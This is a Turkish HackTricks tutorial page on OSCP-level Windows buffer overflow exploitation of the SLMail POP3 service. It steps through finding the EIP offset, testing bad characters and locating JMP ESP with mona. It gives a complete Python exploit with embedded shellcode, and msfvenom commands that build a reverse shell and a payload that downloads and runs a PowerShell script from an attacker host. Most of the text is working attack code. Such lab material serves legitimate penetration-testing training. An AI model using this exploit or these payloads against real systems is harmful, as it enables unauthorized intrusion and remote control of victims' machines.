Windows Exploiting (Temel Rehber - OSCP düzeyi)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Tip

OSCP sonrası kernel primitives mi arıyorsunuz? Deterministik SYSTEM shell’ler için modern registry hive bozulma zincirleri burada ele alınıyor:

Windows Registry Hive Exploitation

SLMail servisini kurmaya başlama

SLMail servisini yeniden başlat

Her seferinde SLMail servisini yeniden başlatmanız gerektiğinde bunu Windows konsolunu kullanarak yapabilirsiniz:

net start slmail

Çok temel python exploit şablonu

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Immunity Debugger Yazı Tipini Değiştirin

Go to Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK

İşlemi Immunity Debugger’a ekleyin:

File –> Attach

Ve START düğmesine basın

Exploit’i gönderin ve EIP’nin etkilenip etkilenmediğini kontrol edin:

Servisi her kırdığınızda, bu sayfanın başında belirtildiği gibi yeniden başlatmalısınız.

EIP’yi değiştirmek için bir pattern oluşturun

Pattern, daha önce servisi bozmak için kullandığınız buffer kadar büyük olmalıdır.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Exploit’in buffer’ını değiştirin, pattern’i ayarlayın ve exploit’i launch edin.

Yeni bir crash ortaya çıkmalı, ancak farklı bir EIP adresiyle:

Adresin pattern’inizde olup olmadığını kontrol edin:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Görünüşe göre buffer’ın offset 2606’da EIP’yi değiştirebiliyoruz.

Exploit’in buffer’ını değiştirerek bunu kontrol et:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Bu buffer ile EIP çöktüğünde 42424242 (“BBBB”)’yi göstermelidir.

Görünüşe göre çalışıyor.

Stack içinde Shellcode alanını kontrol et

600B herhangi bir güçlü shellcode için yeterli olmalıdır.

Bufer’i değiştirelim:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

yeni exploit’i başlatın ve EBP’yi ve kullanışlı shellcode’un uzunluğunu kontrol edin

Zafiyet tetiklendiğinde EBP’nin shellcode’a işaret ettiğini ve burada bir shellcode yerleştirmek için çok alanımız olduğunu görebilirsiniz.

Bu durumda from 0x0209A128 to 0x0209A2D6 = 430B. Yeterli.

Kötü karakterleri kontrol et

Buffer’ı tekrar değiştirin:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

The badchars 0x01’de başlar çünkü 0x00 neredeyse her zaman geçersizdir.

Bu yeni buffer ile exploit’i tekrar tekrar çalıştırın ve işe yaramaz olduğu belirlenen chars’leri silin:

For example:

Bu durumda char 0x0A’yı kullanmamalısınız (char 0x09’dan itibaren hafızaya hiçbir şey kaydedilmiyor).

Bu durumda char 0x0D’den kaçınılıyor:

Bir return address olarak JMP ESP bulun

Kullanarak:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Bellek haritalarını listeleyeceksin. Aşağıdaki özelliklere sahip bir DLL ara:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Şimdi, bu bellek içinde bazı JMP ESP bytes bulmalısın; bunu yapmak için şu komutu çalıştır:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Eğer bir adres bulunursa, içinde herhangi bir badchar olmayan bir adres seçin:

Bu durumda, örneğin: _0x5f4a358f_

Shellcode oluşturun

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode’a ulaşıldığını görebiliyorsanız), aynı parametreler için farklı shellcode’lar oluşturmayı deneyin (msfvenom ile farklı shellcode’lar oluşturun).

Shellcode’un başına bazı NOPS ekleyin ve bunu ve return address’i kullanarak JMP ESP yapın, ardından exploit’i tamamlayın:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Warning

Bazı shellcodes kendilerini üzerine yazarlar, bu yüzden shellcode’dan önce her zaman biraz NOP eklemek önemlidir

Shellcode’u geliştirme

Bu parametreleri ekleyin:

EXITFUNC=thread -e x86/shikata_ga_nai

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin